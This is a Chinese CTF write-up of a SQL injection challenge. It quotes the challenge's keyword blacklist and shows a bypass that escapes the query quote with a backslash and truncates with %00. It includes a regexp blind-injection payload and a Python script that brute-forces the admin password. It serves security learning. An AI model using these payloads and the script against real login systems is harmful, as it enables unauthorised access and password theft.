![](https://img-blog.csdnimg.cn/img_convert/623a396f13c3678e9d0ab7ac9db78368.png)
一、具体步骤
上来先尝试:
username:admin
passwd: 1' or 1=1;#
发现被过滤。
参考wp,发现在robots.txt有hint。
hint:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag
过滤的东西挺多的,他甚至连admin都过滤了😭
新方法:转义反引号
对于查询语句:
select * from users where username='' and passwd=''
可以让username = \ 那么反引号就会被转义成字符,效果就会等同于:
select * from users where username='用户名' '
这里的用户名是 \' and passwd=,不过这样还多了一个反引号。
因为黑名单的问题,常用的截断方式 # --+ 都用不了,学习到了一种新的截断方式:%00
接下来的问题就是怎么获取admin的密码了。
学习到了一中新的注入方式:regexp注入。
类似与bool盲注,如果正则匹配成功就会出现特定信息。
相要获取这个特定信息,可以现在burpsuite上跑一遍26个字母(也就是跑密码的首字母)
跑完后可以知道这个特定信息是 welcome
![](https://img-blog.csdnimg.cn/img_convert/3b9bc828fb784266d32b12a1cbedd514.png)
构造payload:
username=\&passwd=||/**/passwd/**/regexp/**/"^{}";%00
{}处可以替换成任意字母数字,^代表匹配开头
原理:
因为用户名是\' and passwd=,肯定是不在数据库中的,而且数据库里应该就admin一个用户,不然这方法应该用不了(猜的)
||前半部分的真值为0,查找是否成功取决于后半部分的正则匹配,这就达到了与bool盲注类似的效果。
爆破密码的脚本:
import requests
import string
url = "http://6536008f-c820-4483-ab79-321648fba7b3.node4.buuoj.cn:81/"
payload = "||/**/passwd/**/regexp/**/\"^{}\";\x00"
my_string = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_' #flag的构成要素
flag = ''
for i in range(1,40):
print(i)
for j in my_string:
py = payload.format(flag + j)
data = {
"username" : "\\",
"passwd" : py
}
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
flag += j
print(flag)
break
密码是:you_will_never_know7788990
登录后就拿到flag了。
值得注意的地方:
python中传递%00的方式:
1.直接用\x00
2.通过parse.unquote(%00),这个函数专门用来进行url解码
二、总结
可以通过转义反引号的方式绕过某些过滤
可以用%00进行截断操作
新注入方式:regexp注入
三、参考文章